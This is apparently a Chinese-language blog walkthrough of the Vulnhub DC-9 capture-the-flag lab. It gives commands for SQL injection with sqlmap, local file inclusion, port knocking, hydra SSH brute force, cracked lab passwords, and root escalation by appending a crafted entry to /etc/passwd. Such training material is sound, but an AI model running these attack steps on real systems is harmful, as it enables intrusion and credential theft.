找外包公司做网站,苏州建设交通官方网站,wordpress点开文章显示空白页,中山网站网站建设前言
本次的实验靶场是Vulnhub上面的DC-9#xff0c;其中的渗透测试过程比较多#xff0c;最终的目的是要找到其中的flag。
一、信息收集 对目标网络进行扫描 arp-scan -l 对目标进行端口扫描 nmap -sC -sV -oA dc-9 192.168.1.131 扫描出目标开放了22和80两个端口其中的渗透测试过程比较多最终的目的是要找到其中的flag。
一、信息收集 对目标网络进行扫描 arp-scan -l 对目标进行端口扫描 nmap -sC -sV -oA dc-9 192.168.1.131 扫描出目标开放了22和80两个端口访问目标的80端口。 对目标进行目录扫描与分析。 nikto -host 192.168.1.134 我访问了一下includes/目录都是一些空文件没什么特别的文件但是我在search的菜单选项下的界面中试了一下SQL注入发现其存在SQL注入并且网页指向results.php的界面。
二、漏洞利用
1SQL注入 既然在search选项下的界面存在SQL注入那就进行SQL注入 or 11 # 之前写成result.php了难怪sqlmap无法扫描出来 如果是GET型SQL注入那么直接在url中输入参数即可而如果是POST提交则需要指定--data 提交的数据才行。 既然存在SQL注入我们就是用sqlmap去扫描一下。 sqlmap -u http://192.168.1.134/result.php --data search1 --dbs 尝试对users这个库下手因为要登陆一些网站后台需要用户名和密码而这个库可能就有先获取其中的所有表名。 sqlmap -u http://192.168.1.134/results.php --data search1 -D users --tables 有一张表查看其具体的信息。 sqlmap -u http://192.168.1.134/results.php --data search1 -D users -T UserDetails --dump 可以将username和password做成两个字典我分别做成了user-dict和pass-dict两个字典。 使用wfuzz工具测试一下其中大多数的行数都相同我于是过滤了一下没有发现特殊的Payload参数。 wfuzz -z file,user-dict -z file,pass-dict --hw 87 http://192.168.1.134/manage.php?usernameFUZZpasswordFUZZ 只能试一下其他的数据库了之前使用sqlmap扫描到目标还有一个Staff的数据库扫描一下看其中还有哪些表。 sqlmap -u http://192.168.1.134/results.php --data search1 -D Staff --table 扫出来两张表第一张表和我在目标网页的Display All Recodes菜单选项下的界面的内容差不多没什么特别的而第二张Users表有些东西使用sqlmap扫描之后里面有一个可以解密的哈希值。 之前的users是一个数据库这里的Users是一张表。 sqlmap -u http://192.168.1.134/results.php --data search1 -D Staff -T Users --dump 我使用了第一个默认的字典去破解结果破解出一个用户名Admin密码是transorbital1。 尝试使用获得的用户名和密码去manage选项的页面进行登录结果成功登录页面提示我已登录成功并且多了一个Log Out的选项之前没有还有一条“File does not exist”的提示语可能存在文件包含漏洞。
2文件包含漏洞 目标可能存在文件包含漏洞但是我不知道传递文件的参数于是我仍然使用wfuzz工具去试一下。 wfuzz -b PHPSESSIDk4vtn0fuo7d4bauibn1iqpp6gf -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.1.134/manage.php?FUZZindex.php 我将参数-w中的字母写成了大写导致后面报错。 遇到Kali无法连接阿里云的源修改了DNS之后重启网络就好了在/etc/apt/sources.list文件里面进行修改。 扫描出一个与众不同的参数——file传入fileindex.php的参数值发现没什么用我于是尝试了一下../../../../../etc/passwd。 我把--hw写成了-hw少了一个“-”导致出错。
3爆破SSH密码 既然我已经获取了目标操作系统下的/etc/passwd文件其中有些和users中的重复我决定使用hydra对SSH账号密码进行暴力破解结果显示不允许连接试了多次也不行目标可能做了一些限制。 hydra -L user-dict -P pass-dict 192.168.1.134 ssh 后来得知有一些方法可以用来保护ssh的22端口例如开启knockd服务这要求我们必须先访问一些其他的端口然后才能访问22端口这个文件是/etc目录下的knockd.conf文件中当我去访问这个文件时果然如此必须依次访问7489、8475和9842三个端口才能开放22端口之前扫描出来的22端口是处于被保护状态的无法直接访问。 使用nmap依次对三个端口进行访问。 访问按以上三个端口之后再访问22端口成功访问。 如果访问了也打不开可以试一下如下命令 for x in 7489 8475 9842 22 ;do nc 192.168.1.134 $x;done 之后继续使用hydra进行暴力破解爆破出来两个用户名和密码 hydra -L user-dict -P pass-dict 192.168.1.134 ssh 之后我又试了多次又爆破出来一个用户名和密码。 USERNAMEPASSWRODchandlerbUrAG0D!joeytPassw0rdjanitorIlovepeepee 我之前一直扫不出来就使用nmap把7469、8475、9842、22这四个端口逆着访问了一遍再用hydra爆破还是不行后来又顺着访问了一遍就可以了。 接下来要去验证这些用户名和密码是否能够登录结果全部登录成功。 既然我已经登陆了目标系统就要去查看系统中的内容了。 我是用ls -a查找敏感文件时只有janitor用户下有一个其他两个用户没有的东西不确定是目录还是文件使用file命令查看了一下发现是一个目录里面还有一个passwords-found-on-post-it-notes.txt的文件。 这时出现了三个新密码前面的三个在数据库中看到过。 将这三个新密码加入到之前我做的密码字典pass-dict中我将其改名为pass-dict1原来的文件备份了再次进行爆破爆破出来一个新用户试了一下密码可以登录成功。 USERNAMEPASSWRODchandlerbUrAG0D!joeytPassw0rdjanitorIlovepeepeefredfB4-Tru3-001
三、权限提升 已经拿到一些用户名和密码并且已经成功登陆了接下来是提权的时候了。 提权的思路 找敏感文件使用ls -a 或者find / *之类的命令 查看可以用root权限去执行的程序使用命令sudo -l 历史命令使用history命令查看一些历史命令 内核漏洞使用uname -a去查看内核信息然后再去查询其是否存在过历史漏洞以方便我们提权 在所有已经登录的用户下输入ls -a没有什么特别的除了上面的janitor用户接下来试一下sudo -l命令结果在fredf这个用户中发现了一些特殊的信息有一个具有root执行权限的程序test。 无法直接访问跳转到其路径之后才可以访问发现是一个Python文件。 直接执行是没用的有一个提示是关于这个Python文件读取和追加的我于是去找了一下这个test.py文件所在的目录。 分别查看一下。 既然可以读取追加哪么就可以尝试添加一个设计好的用户使其具有root权限然后试着将其追加到一些特殊文件中首先使用openssl生成一个用户名和密码。 openssl passwd -1 -salt admin 123456 追加到其他文件可能没有权限只好追加到/tmp目录中在/tmp/passwd中。 echo admin03:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash /tmp/passwd 成功了这时可以使用test.py读取/tmp/passwd并且将其追加到/etc/passwd中。 sudo ./test /tmp/passwd /etc/passwd 之前的第一个admin用户的shell程序设置出错了少了一个/第二个admin和第一个用户名重复了这时我将添加了一个admin03的用户其权限为root权限。 追加成功切换至具有root权限的admin03用户。 转到root目录下查看有没有关于flag的文件通常情况下这些文件都在root目录下。查看了一下果然在这里。 使用cat命令查看一下果然如此拿到了flag完结散花。